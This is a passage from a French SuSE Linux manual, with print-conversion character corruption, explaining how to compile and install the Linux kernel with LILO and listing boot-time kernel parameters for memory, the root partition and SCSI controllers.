  23414.  
  23415. Il  n'est  pas  possible  de  dΘcrire  ici  en  dΘtail  les  diffΘrentes  possibilitΘs  de                         Textes d'aide
  23416. configuration du noyau. Il vous est donc conseillΘ de tirer parti des nombreux
  23417. textes d'aide relatifs α ce sujet. La documentation la plus rΘcente se trouve
  23418. toujours  sous  les  sources  du  noyau  dans  le  rΘpertoire  /usr/src/linux/
  23419. Documentation.
  23420.  
  23421.  
  23422.  
  23423. 13.5        Compilation du noyau
  23424.  
  23425.        _______________________________________________________________________________________________________________________||
  23426.        ||||||||  Supprimez le cas ΘchΘant, dans le Makefile principal (vers la ligne 74),                       |||            |
  23427.        ||||||||  le caractΦre de commentaire placΘ devant INSTALL_PATH=/boot                 afin que           ||             |
  23428.        ||||||||                                                                                                 ||             |
  23429.        ||||||||  votre noyau puisse Ωtre installΘ simplement dans /boot.                                        ||             |
  23430.        ||||||||_______________________________________________________________________________________________________________||_
  23431.  
  23432. Nous vous conseillons de gΘnΘrer un ``bzImage''. On peut gΘnΘralement Θviter
  23433. de cette maniΦre que le noyau devienne trop gros ainsi qu'il arrive facilement
  23434. lorsque l'on sΘlectionne un trop grand nombre de fonctionnalitΘs et que l'on
  23435.  
  23436.  
  23437.                                                                                                                                    *
  23438.  *   363
  23439. 13.  Le noyau     _________________________________________________________________________________________________________________*
  23440.  *_______________________________________@
  23441.  
  23442.  
  23443.  
  23444.                            crΘe  un  ``zImage''  (on  voit  alors  apparaεtre  les  messages  typiques  "kernel
  23445.                            too  big÷  u "System  is  too  big").
  23446.  
  23447.                            AprΦs avoir configurΘ le noyau en fonction de vos besoins, vous commencerez
  23448.                            la compilation :
  23449.  
  23450.                                  terre:/usr/src/linux  #  make  dep
  23451.                                  terre:/usr/src/linux  #  make  clean
  23452.                                  terre:/usr/src/linux  #  make  bzImage
  23453.                            Vous pouvez aussi insΘrer ces 3 commandes dans une ligne de commande.
  23454.                            Elles seront exΘcutΘes l'une aprΦs l'autre. Ceci comporte certains avantages
  23455.                            si vous voulez faire effectuer la compilation du noyau automatiquement, par
  23456.                            exemple ``de nuit'' : Pour cela, tapez :
  23457.  
  23458.                                  terre:/usr/src/linux  #  make  dep  clean  bzImage
  23459.  
  23460.                            Selon la performance de votre systΦme, il faut compter de quelques minutes
  23461.                            (processeurs  rapides  AMD  Athlon  /  Intel  Pentium  III )1   α  quelques  heures
  23462.                            (386  avec  8  Mo)  avant  que  le  noyau  soit  recompilΘ.  Pendant  ce  processus,
  23463.                            vous pouvez bien s√r continuer α vous occuper de votre systΦme sur une autre
  23464.                            console.
  23465.  
  23466.                            Lorsque  la  compilation  aura  ΘtΘ  menΘe  α  bien,  vous  trouverez  votre  noyau
  23467.                            compressΘ dans le rΘpertoire /usr/src/linux/arch/i386    /boot. L'image
  23468.                            du noyau ~ le fichier qui contient le noyau ~ se nomme   bzImage. Si vous
  23469.                            ne trouvez pas ce fichier, cela signifie qu'il s'est probablement produit une
  23470.                            erreur pendant la compilation du noyau. Elle a pu Θventuellement passer in-
  23471.                            aperτue  parmi  les  nombreux  messages  affichΘs  α  l'Θcran.  Pour  vΘrifier  s'il
  23472.                            s'est vraiment produit une erreur, vous pourrez avec
  23473.  
  23474.                                  terre:/usr/src/linux  #  make  bzImage
  23475.  
  23476.                            remettre en route la compilation du noyau et prΩter attention aux messages
  23477.                            d'erreur.  Pas  de  panique  :  Il  se  produit  trΦs  rarement  des  erreurs  lors  de  la
  23478.                            compilation du noyau !
  23479.  
  23480.                            Sous bash, vous pouvez avec
  23481.  
  23482.                                  terre:/usr/src/linux  #  make  bzImage  2>&1  |  tee  kernel.out
  23483.  
  23484.                            faire effectuer une copie des affichages du processus de compilation dans le
  23485.                            fichier k.out ; sous Tcsh, la commande est :
  23486.  
  23487.                                  terre:/usr/src/linux  #  make  bzImage  |&  tee  kernel.out
  23488.  
  23489.                            Si  vous  avez  configurΘ  certaines  parties  du  noyau  sous  forme  de  modules
  23490.                            chargeables, vous devrez ensuite faire compiler ces modules. Pour cela, tapez
  23491.                            la commande
  23492.  
  23493.                                  terre:/usr/src/linux  #  make  modules
  23494.  
  23495.  
  23496.  
  23497.                            13.6        Installer le noyau
  23498.  
  23499.                            Lorsque  le  noyau  a  ΘtΘ  compilΘ,  vous  devrez  faire  en  sorte  qu'il  soit  en-
  23500.                            suite  amorcΘ.  Si  vous  utilisez  LILO ,  celui-ci  devra  Ωtre  rΘinstallΘ.  Dans  le
  23501.                            _____________________________________________1
  23502.                               Une mΘthode volontiers employΘe pour tester le matΘriel et les logiciels consiste α compiler
  23503.                            le noyau avec l'option make  -j   . Vous avez besoin d'une grande quantitΘ de mΘmoire pour ce
  23504.                            test (jusqu'α 100 Mo). Un compilateur particulier est dΘmarrΘ pour chacun des fichiers sources α
  23505.                            compiler.
  23506.  
  23507.  
  23508. 364
  23509.        _______________________________________________________________________________________________13.6.__Installer_le_noyau____*
  23510.  *______________________
  23511.  
  23512.  
  23513.  
  23514. cas  le  plus  simple,  vous  copierez  le  nouveau  noyau  vers  /boot/vmlinuz
  23515. (voir paragraphe 13.5 page 363) et vous invoquerez ensuite LILO . Afin d'Θvi-
  23516. ter  de  dΘsagrΘables  surprises,  il  est  prudent  de  conserver  le  vieux  noyau
  23517. (/boot/vmlinuz.old) pour pouvoir l'amorcer au cas o∙ le nouveau noyau
  23518. ne fonctionnerait pas comme prΘvu :
  23519. terre:/usr/src/linux  #  cp  /boot/vmlinuz  /boot/vmlinuz.old
  23520. terre:/usr/src/linux  #  cp  arch/i386/boot/bzImage  /boot/vmlinuz
  23521. terre:/usr/src/linux  #  lilo
  23522. La cible du Makefile make  bzlilo          exΘcute ces 3 phases en une seule opΘra-
  23523. tion.
  23524.  
  23525. Les modules compilΘs doivent encore Ωtre installΘs. En entrant
  23526. terre:/usr/src/linux  #  make  modules_install
  23527.  
  23528. vous pouvez les faires copier dans les rΘpertoires cibles appropriΘs (/lib/
  23529. modules/<Version>          ),
  23530.        _______________________________________________________________________________________________________________________||
  23531.        ||||||||  Vous  devez  veiller  α  ce  que  les  modules  que  vous  compilez  soient  sup-              |||            |
  23532.        ||||||||                                                                                                 ||             |
  23533.        ||||||||  primΘs sous /lib/modules<Version>           car il risque de se produire des                   ||             |
  23534.        ||||||||  effets imprΘvisibles. C'est pourquoi, il est fortement dΘconseillΘ α l'utili-                  ||             |
  23535.        ||||||||                                                                                                 ||             |
  23536.        ||||||||  sateur possΘdant encore peu d'expΘrience de compiler lui-mΩme le noyau.                        ||             |
  23537.        ||||||||_______________________________________________________________________________________________________________||_
  23538.  
  23539. Ajoutez  dans  votre  fichier  /etc/lilo.conf  un  label  Linux.old         comme
  23540. image de boot (voir paragraphe 4.4.1 page 124) et changez le nom de votre
  23541. vieux noyau en /boot/vmlinuz.old. Vous Ωtes ainsi assurΘ de pouvoir en-
  23542. core amorcer avec votre ancien noyau au cas o∙ ce ne serait pas possible avec
  23543. le nouveau. Ceci est dΘcrit en dΘtail au chapitre 4 page 117.
  23544.  
  23545. Lorsque  vous  aurez  apportΘ  au  fichier  /etc/lilo.conf  les  modifications
  23546. que vous souhaitiez, vouz devrez lancer de nouveau la commande
  23547.     terre:/usr/src/linux  #  lilo
  23548.  
  23549. Si  vous  lancez  Linux  α  partir  de  DOS  par  linux.bat  ~  donc  au  moyen
  23550. de  loadlin  ~  vous  devez  encore  copier  le  nouveau  noyau  vers  /dosc/
  23551. loadlin/bzimage2  afin qu'il puisse Ωtre actif lors du prochain amorτage.
  23552.  
  23553. Si  vous  lancez  Linux  au  moyen  du  gestionnaire  de  dΘmarrage  de  Win-
  23554. dows  NT,  vous  ne  devez  pas  oublier  de  recopier  le  secteur  d'amorτage  de
  23555. LILO (voir paragraphe 4.7.2 page 135).
  23556.  
  23557. Il faut Θgalement tenir compte de ce qui suit : Le fichier /boot/System.map
  23558. contient  des  symboles  du  noyau  nΘcessitΘs  par  les  modules  pour  pouvoir
  23559. invoquer  correctement  les  fonctions  du  noyau.  Ce  fichier  dΘpend  du  noyau
  23560. actuel.  En  consΘquence,  vous  devriez  aprΦs  la  compilation  et  l'installation
  23561. du noyau, copier le fichier courant3  /usr/src/linux/System.map dans le
  23562. rΘpertoire /boot. Si vous gΘnΘrez vos noyaux au moyen de make  bzlilo          ou
  23563. de make  zlilo        , cette tΓche sera exΘcutΘe pour vous automatiquement.
  23564.  
  23565. Si lors de l'amorτage vous recevez un message d'erreur tel que "System.map
  23566. does  not  match  actual  kernel",  cela  signifie  probablement  que  le  fi-
  23567. chier  System.map  n'a  pas  ΘtΘ  copiΘ  vers  /boot  aprΦs  la  compilation  du
  23568. noyau.
  23569. 2      ____________________________________________________
  23570.   ou vers l'endroit o∙ vous avez fait installer le rΘpertoire loadlin
  23571. 3 Ce fichier est recrΘΘ α chaque compilation du noyau.
  23572.  
  23573.  
  23574.                                                                                                                                    *
  23575.  *   365
  23576. 13.  Le noyau     _________________________________________________________________________________________________________________*
  23577.  *_______________________________________@
  23578.  
  23579.  
  23580.  
  23581.                            13.7        CrΘer une disquette d'amorτage
  23582.                            Si vous voulez crΘer une disquette d'amorτage avec votre nouveau noyau, il
  23583.  
  23584.                            vous suffit de taper la commande :
  23585.  
  23586.                            terre:/usr/src/linux  #  make  bzdisk
  23587.  
  23588.  
  23589.  
  23590.                            13.8        Faire le mΘnage sur le disque dur aprΦs la compilation
  23591.  
  23592.                                        du noyau
  23593.  
  23594.                            Vous  pouvez  effacer  les  fichiers  cibles  gΘnΘrΘs  pendant  la  compilation  du
  23595.                            noyau si vous avez des problΦmes avec l'espace disque :
  23596.  
  23597.                            terre:  #  cd  /usr/src/linux
  23598.                            terre:/usr/src/linux  #  make  clean
  23599.                            Mais si vous avez suffisamment de place sur le disque et si vous avez l'inten-
  23600.                            tion de reconfigurer assez souvent votre noyau, sautez cette derniΦre phase.
  23601.                            Une nouvelle compilation du noyau sera nettement plus rapide puisque seules
  23602.                            les parties du systΦme concernΘes par les modifications seront recompilΘes.
  23603.  
  23604.  
  23605. 366
  23606.  
  23607.                                                                                                       Chapitre  14
  23608.                                                         ParamΦtres   du   noyau
  23609.  
  23610.  
  23611. 14.1        Pilotes insΘrΘs dans le noyau
  23612.  
  23613. Il existe un trΦs grand nombre de composants matΘriels de PC. Pour pouvoir
  23614. bien utiliser ce matΘriel, il est nΘcessaire d'avoir un ``pilote'' qui permette au
  23615. systΦme  d'exploitation  (dans  le  cas  de  Linux  le  ``noyau'')  de  communiquer
  23616. correctement  avec  le  matΘriel.  On  distingue  en  rΦgle  gΘnΘrale  deux  mΘca-
  23617. nismes d'intΘgration des pilotes dans le noyau.
  23618.  
  23619.  1.   Les pilotes peuvent Ωtre inclus en permanence dans le noyau. Nous dΘsi-
  23620.       gnons, dans le prΘsent manuel, de tels noyaux ``d'une seule piΦce'' sous
  23621.       le nom de noyaux ``monolithiques''. Certains pilotes n'existent que sous
  23622.       cette forme.
  23623.  
  23624.  2.   Les pilotes peuvent Ωtre chargΘs en cas de besoin dans le noyau qui est dΘ-
  23625.       signΘ dans ce cas sous le nom de noyau modulaire. Ceci prΘsente l'avan-
  23626.       tage  que  seuls  les  pilotes  vraiment  nΘcessaires  sont  chargΘs  et  que  le
  23627.       noyau n'est pas inutilement encombrΘ.  Le noyau contenu sur la disquette
  23628.       d'amorτage SuSE     fonctionne avec des modules et peut ainsi manipuler la
  23629.       plupart des configurations matΘrielles.
  23630.  
  23631. Que les pilotes soient inclus en permanence dans le noyau ou qu'ils soient
  23632. chargΘs, il peut arriver que le noyau ne soit pas en mesure, dans un cas comme
  23633. dans l'autre, de reconnaεtre par lui-mΩme l'un des composants matΘriels. Vous
  23634. avez alors la possibilitΘ de lui ``donner un coup de pouce'' en spΘcifiant plus
  23635. exactement ce composant matΘriel au moyen de paramΦtres.
  23636.  
  23637.   ~   Ils  font  savoir  au  pilote  quel  matΘriel  vous  possΘdez  et  de  quelle  ma-
  23638.       niΦre vous devez y accΘder (par exemple zone d'adressage, interruption
  23639.       et autres choses similaires). Le pilote peut parfois le dΘcouvrir seul, mais
  23640.       il est plus rapide et plus s√r que vous preniez vous-mΩme les choses en
  23641.       main.
  23642.  
  23643.   ~   Dans  les  cas  problΘmatiques  il  vous  est  Θventuellement  possible,  avec
  23644.       des paramΦtres du noyau spΘciaux, d'amener quand mΩme votre systΦme
  23645.       Linux α se mettre en marche.
  23646.  
  23647. Dans  le  cas  de  noyaux  monolithiques,  les  paramΦtres  doivent  Ωtre  transmis
  23648. au noyau α l'invite d'amorτage ou par un chargeur d'amorτage1 . Les pilotes
  23649. 1      ____________________________________________________
  23650.    Pour cette raison, ces paramΦtres sont aussi appelΘs paramΦtres LILO , du nom du chargeur
  23651. traditionnel pour architectures x86.
  23652.  
  23653.  
  23654.                                                                                                                                    *
  23655.  *   367
  23656. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  23657.  *_______________________________________@
  23658.  
  23659.  
  23660.  
  23661.                            sous forme de modules reτoivent leurs paramΦtres par la commande insmod
  23662.                            ou modprobe        qui permet de charger aussi le module en mΩme temps.
  23663.                            Remarque : Vous devez spΘcifier les paramΦtres lors de chaque amorτage car
  23664.                            le noyau n'apprend malheureusement rien. Plus tard, aprΦs l'installation, vous
  23665.                            pourrez inscrire des paramΦtres du noyau dans les fichiers /etc/lilo.conf
  23666.                            ou  /etc/modules.conf  et  ils  seront  ainsi  exploitΘs  automatiquement  par
  23667.                            LILO  ou par modprobe .
  23668.  
  23669.                            Malheureusement, le format utilisΘ pour spΘcifier les paramΦtres est diffΘrent
  23670.                            selon qu'il s'agisse de pilotes inclus dans le noyau ou de pilotes chargΘs sous
  23671.                            forme de modules. C'est pourquoi les paramΦtres dont vous trouverez la liste
  23672.                            plus bas sont soigneusement sΘparΘs. Pour quelques modules peu nombreux
  23673.                            (lecteurs de CD-ROM), le mode de transmission des paramΦtres a cependant
  23674.                            ΘtΘ unifiΘ et il est ainsi possible de spΘcifier, lors du chargement d'un module,
  23675.                            les mΩmes paramΦtres qu'α l'invite de LILO .
  23676.  
  23677.  
  23678.  
  23679.                            14.2        Quelques astuces
  23680.  
  23681.                            Avant d'en arriver aux listes des paramΦtres, encore quelques astuces concer-
  23682.                            nant  la  reconnaissance  du  matΘriel  par  les  pilotes  ainsi  que  la  spΘcification
  23683.                            des paramΦtres :
  23684.  
  23685.                              ~   La  plupart  des  pilotes  peuvent  exΘcuter  ce  que  l'on  appelle  une  dΘtec-
  23686.                                  tion  automatique  (angl.  autoprobing).  Cela  signifie  que  le  pilote  essaie
  23687.                                  diffΘrentes  adresses  sous  lesquelles  se  trouve  habituellement  le  compo-
  23688.                                  sant concernΘ. Il peut toutefois arriver que le pilote dΘtecte un composant
  23689.                                  qu'il n'a pas α gΘrer et qu'il l'initialise par erreur. Ceci peut entraεner un
  23690.                                  plantage de la machine.
  23691.  
  23692.                              ~   Il arrive aussi occasionnellement qu'il soit possible de charger avec succΦs
  23693.                                  un module bien que le matΘriel qu'il gΦre normalement ne soit pas prΘ-
  23694.                                  sent dans la machine (ceci s'applique surtout aux pilotes de cartes rΘseau
  23695.                                  3Com).
  23696.  
  23697.                                  Vous devriez malgrΘ tout, afin de simplifier les choses, faire d'abord exΘ-
  23698.                                  cuter une dΘtection automatique. Il vous sera toujours possible de dΘchar-
  23699.                                  ger les pilotes chargΘs par erreur. Dans le cas o∙ le matΘriel ne serait pas
  23700.                                  reconnu,  vous  pouvez  essayer,  par  une  spΘcification  des  paramΦtres,  de
  23701.                                  faire connaεtre la configuration au noyau afin qu'il soit quand mΩme en
  23702.                                  mesure d'accΘder correctement aux composants.
  23703.  
  23704.                              ~   Il  existe  enfin  certains  composants  matΘriels  pouvant  Ωtre  gΘrΘs  par
  23705.                                  plusieurs  pilotes  (NCR  53C810 ,  Ultrastor ).  Selon  les  informations  que
  23706.                                  nous  possΘdons,  il  semble  qu'aucun  des  deux  pilotes  Ultrastor  ne  prΘ-
  23707.                                  sente  un  avantage  particulier  par  rapport  α  l'autre.  Le  pilote  BSD  pour
  23708.                                  le  NCR53C810  supporte  aussi  les  autres  produits  NCR53C8xx  (par
  23709.                                  exemple 53C875) alors que seul le pilote NCR ancien modΦle supporte
  23710.                                  les  graveurs  de  CD.  Faites  tout  simplement  un  essai  pour  savoir  quel
  23711.                                  pilote reconnaεt votre matΘriel de faτon fiable.
  23712.  
  23713.                            Si vous venez d'amorcer, le clavier amΘricain est encore actif. Comparez avec
  23714.                            l'illustration de la figure 14.1 page suivante.
  23715.  
  23716.  
  23717.  
  23718. 368
  23719.        __________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
  23720.  *______________________
  23721.  
  23722.        _______________________________________________________________________________________________________________________||||
  23723.        ||||||||                                                                                                                |
  23724.        |||||||||                                                                                                               ||
  23725.        ||||||||                                                                                                                |
  23726.        ||||||||                                                                                                                |
  23727.        ||||||||                                                                                                                |
  23728.        ||||||||                                                                                                                |
  23729.        ||||||||                                                                                                                |
  23730.        ||||||||                                                                                                                |
  23731.        ||||||||                                                                                                                |
  23732.        ||||||||                                                                                                                |
  23733.        ||||||||_______________________________________________________________________________________________________________ |
  23734.  
  23735.  
  23736.               Fig. 14.1: Disposition des touches d'un clavier amΘricain
  23737.  
  23738.  
  23739.  
  23740. 14.3        Les paramΦtres
  23741.  
  23742.  
  23743. 14.3.1       Notation et signification
  23744.  
  23745. Dans  les  listes  de  paramΦtres  du  noyau  qui  vont  suivre,  vous  trouverez  les
  23746. diffΘrents pΘriphΘriques ou leurs pilotes ainsi que les paramΦtres d'appel qu'il
  23747. est possible ou indispensable d'utiliser. Les paramΦtres apparaissent toujours
  23748. avec la mΩme signification :
  23749.  
  23750.        ______________________________________________________________________________________________________________________
  23751.  
  23752.    <addr>                                      SpΘcification du port en hexadΘcimal (par
  23753.                                                exemple 0x300)
  23754.    <irq>                                       Interruption sous laquelle il est accΘdΘ au
  23755.                                                pΘriphΘrique (par exemple 7)
  23756.    <dma>                                       Canal  DMA  par  lequel  le  pΘriphΘrique
  23757.                                                communique
  23758.                                                (par exemple 1)
  23759.    <adresse d'implantation>,
  23760.    <adresse finale>                            zone  de  mΘmoire  hexadicimale  pour  mΘ-
  23761.                                                moire partagΘe
  23762.  
  23763.  
  23764.  
  23765.        ______________________________________________________________________________________________________________________
  23766.  
  23767.     Tab.  14.1:  DΘnomination  de  variables  frΘquemment  utilisΘes  pour  les
  23768.     paramΦtres du noyau
  23769. Dans ce qui suit, il sera surtout fait une description des paramΦtres essentiels
  23770. α la rΘussite de l'installation. Il existe Θgalement toute une sΘrie d'autres pa-
  23771. ramΦtres utilisΘs α des fins particuliΦres. Notez aussi que pour la spΘcification
  23772. des paramΦtres il est impΘratif de diffΘrencier les majuscules des minuscules !
  23773.  
  23774. AprΦs l'installation, vous trouverez dans le BootPrompt-HOWTO, sous /usr/
  23775. doc/howto ainsi que dans les sources du noyau, dans le fichier /usr/src/
  23776. linux/Documentation/kernel-parameters.txt,  une  introduction  dΘ-
  23777. taillΘe aux paramΦtres du noyau qu'il est possible d'utiliser.
  23778.  
  23779.                                                                                                                                    *
  23780.  *   369
  23781. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  23782.  *_______________________________________@
  23783.  
  23784.  
  23785.  
  23786.                            14.3.2       ParamΦtres transmis au noyau α l'invite d'amorτage
  23787.                            Les  paramΦtres  ΘnumΘrΘs  dans  ce  paragraphe  ne  peuvent  Ωtre  transmis  au
  23788.  
  23789.                            noyau  que  directement,  par  exemple  α  l'invite  d'amorτage  de  SYSLINUX
  23790.                            (disquette d'amorτage fournie), α l'invite de LILO  ou au moyen de loadlin .
  23791.                            Si le pilote concernΘ doit Ωtre utilisΘ sous forme de module chargeable, voyez
  23792.                            au paragraphe 14.3.4 page 383 les paramΦtres α utiliser dans ce cas.
  23793.                            ________________________________________________________________________________________________________*
  23794.  *________||
  23795.                            |  Tous  les  paramΦtres  nΘcessaires  α  un  pilote  doivent  Ωtre  spΘcifiΘs  direc-                  *
  23796.  *        ||||
  23797.                            |  tement les uns derriΦre les autres, sΘparΘs par des virgules ! Il ne doit en                         *
  23798.  *        |||
  23799.                            |                                                                                                       *
  23800.  *        |||
  23801.                            |  aucun cas y avoir d'espace entre les paramΦtres spΘcifiΘs !                                          *
  23802.  *        |||
  23803.                            |_______________________________________________________________________________________________________*
  23804.  *________|||_
  23805.  
  23806.                            Pour  dΘfinir  par  exemple  les  paramΦtres  pour  le  pilote  aha1542       α  l'invite
  23807.                            d'amorτage, faites l'entrΘe suivante en tenant compte du fait que le nom du
  23808.                            fichier du noyau doit toujours Ωtre spΘcifiΘ en premier lieu (sur la disquette
  23809.                            d'amorτage SuSE    , le nom du noyau est linux !) :
  23810.  
  23811.                                  linux  aha1542=0x300
  23812.  
  23813.  
  23814.                            ParamΦtres gΘnΘraux d'amorτage
  23815.  
  23816.       ParamΦtres           Il   est   possible,   avec   quelques   paramΦtres,   d'influer   sur   le   comporte-
  23817.          gΘnΘraux          ment   gΘnΘral   du   noyau   Linux   (voir   la   page   de   man   de   bootparam
  23818.                            (man  7  bootparam            )).
  23819.  
  23820.  
  23821.                              ~   Mode de redΘmarrage (reboot) (en quittant Linux)
  23822.  
  23823.                                  reboot=<mode>
  23824.  
  23825.                                  dans ce cas, on utilise pour <mode>        les valeurs suivantes :
  23826.  
  23827.                                  ___________________________________________________________________________________________________
  23828.                                  |__Variable____|____Valeurs_/_Signification_______________________________________________|_______*
  23829.  *__
  23830.  
  23831.                                  |  <mode>          |warm     RedΘmarrage α chaud (sans test mΘmoire)          |
  23832.                                  |                  |cold     RedΘmarrage α froid (avec test mΘmoire)           |
  23833.                                  |                  |bios     RedΘmarrage avec routine du BIOS                   |
  23834.                                  |__________________|hard_____RedΘmarrage_par_blocage_du_CPU_(triple_fault)__|______________________
  23835.  
  23836.                                  Exemple :    reboot=cold
  23837.                                  dΘmarre la machine aprΦs l'arrΩt de Linux, de la mΩme maniΦre que si la
  23838.                                  touche de remise α zΘro avait ΘtΘ pressΘe.
  23839.  
  23840.  
  23841.  
  23842.                              ~   Protection de zones d'E/S (rΘserver)
  23843.  
  23844.                                  reserve=<dΘbut1>,<largeur1>,...,<dΘbutN>,<largeurN>
  23845.  
  23846.                                  └ l'aide de ce paramΦtre, vous pouvez rΘserver des zones d'E/S pour des
  23847.                                  composants  matΘriels  qui  ne  tolΦrent  pas  une  dΘtection  automatique  de
  23848.                                  leur adresse d'E/S et rΘagissent par exemple en provoquant un effondre-
  23849.                                  ment du systΦme.
  23850.  
  23851.                                  Exemple : en entrant
  23852.  
  23853.                                  reserve=0x330,32  ether=5,0x330,eth0
  23854.  
  23855.                                  il est possible de protΘger contre la dΘtection automatique une carte rΘseau
  23856.                                  sensible qui peut cependant Ωtre initialisΘe. Dans notre exemple, la carte
  23857.  
  23858.  
  23859. 370
  23860.        __________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
  23861.  *______________________
  23862.  
  23863.  
  23864.  
  23865.       rΘseau  a  une  zone  de  32  adresses  commenτant  par  l'adresse  0x330,  et
  23866.       l'interruption 5.
  23867.       Pour connaεtre la signification des paramΦtres des cartes rΘseau, reportez-
  23868.       vous au paragraphe 14.3.2 page 378.
  23869.  
  23870.  
  23871.   ~   Montage de la partition racine (root)
  23872.       root=<partition>
  23873.        ________________________________________________________________________________________
  23874.        ||__Variable_____________|___Valeurs_/_Signification_________________________|___________
  23875.  
  23876.        ||__<partition>______________|par_exemple_/dev/hda1,_/dev/sdb5__|_______________________
  23877.  
  23878.       Exemple :    root=/dev/hda5
  23879.       amorce le noyau et tente de monter la partition root de la premiΦre unitΘ
  23880.       logique dans la partition Θtendue sur le premier disque dur (E)IDE.
  23881.  
  23882.  
  23883.   ~   Taille de la mΘmoire centrale  (RAM)
  23884.       mem=<taille>
  23885.       Vous  pouvez  spΘcifier  la  taille  de  la  +  mΘmoire   en  octets,  kilo-octets
  23886.       ou mΘga-octets. Les exemples ci-dessous vous montrent deux notations
  23887.       diffΘrentes pour 96 Mo de RAM
  23888.       Exemples :
  23889.       mem=96M
  23890.       mem=98304k
  23891.       Dans de trΦs rares cas, il peut arriver que la carte mΦre ou le chipset ne
  23892.       puisse pas libΘrer la totalitΘ de la mΘmoire. Tenez alors compte de la mΘ-
  23893.       moire  utilisΘe  par  la  carte  mΦre  ou  le  chipset  (une  quantitΘ  pouvant  at-
  23894.       teindre  512  Ko  est  tout  α  fait  possible).  Vous  pouvez,  en  procΘdant  par
  23895.       tat⌠nnement, rΘussir α dΘcouvrir le chiffre exact. Mais pour plus de faci-
  23896.       litΘ, partez plut⌠t du principe qu'il s'agit de 512 Ko comme dans notre
  23897.       exemple :
  23898.       mem=5ff8000
  23899.       Si vous utilisez un clone de Pentium, vous pouvez par l'entrΘe
  23900.       mem=nopentium
  23901.       inciter une machine qui refuse de dΘmarrer α se mettre au travail.
  23902.  
  23903.  
  23904. Contr⌠leurs SCSI et sous-systΦme SCSI
  23905.  
  23906. Il  est  possible  d'influencer  la  plupart  des  contr⌠leurs  SCSI  en  utilisant  des                           Contr⌠leurs
  23907. paramΦtres.                                                                                                        SCSI
  23908.  
  23909.   ~   Lecteurs de bandes SCSI (streamers)
  23910.       st=<tampon>,<seuil>[,<max>]
  23911.        ____________________________________________________________________________________________
  23912.        ||__Variable_______|___Valeurs_/_Signification__________________________________|____________
  23913.  
  23914.        ||  <tampon>           T|aille du tampon (nombre de blocs de 1 Ko)  |
  23915.        ||  <seuil>            S|euil d'Θcriture (nombre de blocs de 1 Ko)    |
  23916.        ||_____________________(|angl._write_threshold)__________________________________|__________
  23917.  
  23918.       Exemple :    st=1000,2000
  23919.  
  23920.  
  23921.                                                                                                                                    *
  23922.  *   371
  23923. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  23924.  *_______________________________________@
  23925.  
  23926.  
  23927.  
  23928.                              ~   Nombre de pΘriphΘriques SCSI par ID
  23929.                                  max_scsi_luns=<nombre>
  23930.  
  23931.                                  ___________________________________________________________
  23932.                                  |__Variable_______|_____Valeurs_/_Signification__|__________
  23933.  
  23934.                                  |__<nombre>____________|1..8______________________________|_
  23935.  
  23936.                                  Exemple :
  23937.  
  23938.                                  Lorsque seul le premier LUN (angl. logical unit number) doit est utilisΘ,
  23939.                                  le paramΦtre max_scsi_luns=1               doit Ωtre positionnΘ.
  23940.  
  23941.                                  Les changeurs de CD constituent une application typique. Dans ce cas, le
  23942.                                  nombre de CD utilisables correspond au paramΦtre max_scsi_luns
  23943.  
  23944.  
  23945.  
  23946.                              ~   Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 adaptateur h⌠te SCSI
  23947.  
  23948.                                  aha152x=<addr>,<irq>,<id>[,<rec>[,<par>[,<sync>[,
  23949.                                  <delay>[<ext_trans>]]]]]
  23950.  
  23951.                                  __________________________________________________________________________________________________*
  23952.  *__________________
  23953.                                  |__Variable______________________________________________|____Valeurs_/_Signification_____________*
  23954.  *________|__________
  23955.  
  23956.                                  |  <id>       (SCSI-ID de l'adaptateur h⌠te)  |               ID de l'adaptateur h⌠te, souvent 7  *
  23957.  *   |
  23958.                                  |  <rec>        (reconnect)                             |     0 , 1                               *
  23959.  *                  |
  23960.                                  |  <par>        (parity)                                  |   0 , 1  Contr⌠le de paritΘ           *
  23961.  *          |
  23962.                                  |  <sync>         (synchronous)                       |       0 , 1  Transmission synchrone       *
  23963.  *     |
  23964.                                  |  <delay>                                                   |100    DΘlai du bus, valeur par dΘfa*
  23965.  *ut  |
  23966.                                  |__<ext_trans>_______________________________________________|0_,_1__Translation_C/H/S____________*
  23967.  *_________|________
  23968.  
  23969.                                  Avec ce pilote, il est possible d'utiliser de nombreux contr⌠leurs SCSI peu
  23970.                                  co√teux. Par exemple, toutes les cartes son dotΘes d'un contr⌠leur SCSI
  23971.                                  (α l'exception de Pro Audio Spectrum ) contiennent une puce Adaptec et
  23972.                                  peuvent Ωtre utilisΘes avec ce pilote.
  23973.  
  23974.                                  Pour faire fonctionner tous les 152x non originaux, il semble que le 4Φme
  23975.                                  paramΦtre (RECONNECT        ) soit indispensable. Pour presque tous les types, il
  23976.                                  doit Ωtre positionnΘ α `0' sauf pour le AHA2825 qui requiert un `1'.
  23977.  
  23978.                                  Exemple :    aha152x=0x300,10,7
  23979.  
  23980.  
  23981.  
  23982.                              ~   Adaptec AHA-1540 / 1542 adaptateur h⌠te SCSI
  23983.  
  23984.                                  aha1542=<addr>[,<buson>,<busoff>[,<vitesse  DMA>]]
  23985.  
  23986.                                  ____________________________________________________________________
  23987.                                  |__Variable_________________|____Valeurs_/_Signification__|__________
  23988.  
  23989.                                  |  <buson>                      |2..15                              |
  23990.                                  |  <busoff>                     |1..64                              |
  23991.                                  |__<vitesse__DMA>_______________|5,6,7,8,10_________________________|
  23992.  
  23993.                                  Exemple :    aha1542=0x300
  23994.  
  23995.  
  23996.  
  23997.                              ~   Adaptec AHA-274x / 284x / 294x adaptateur h⌠te
  23998.  
  23999.                                  aic7xxx=<modifier>[,<modifier>[,  : : : ]]
  24000.  
  24001.  
  24002. 372
  24003.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  24004.  *____________________
  24005.  
  24006.  
  24007.  
  24008.      ________________________________________________________________________________________________________
  24009.      ||__Variable___________|___Valeurs_/_Signification___________________________________________|___________
  24010.      ||  <modifier>             |extended                                                                  |
  24011.      ||                         |active la translation de la gΘomtΘrie du disque         |
  24012.      ||                         |no_reset                                                                  |
  24013.      ||                         |empΩche une rΘinitialisation (angl. reset) du bus      |
  24014.      ||                         |SCSI lors de l'initialisation de l'adaptateur h⌠te      |
  24015.      ||                         |irq_trigger  :          <x>                                               |
  24016.      ||                         |seulement pour systΦmes Eisa                                |
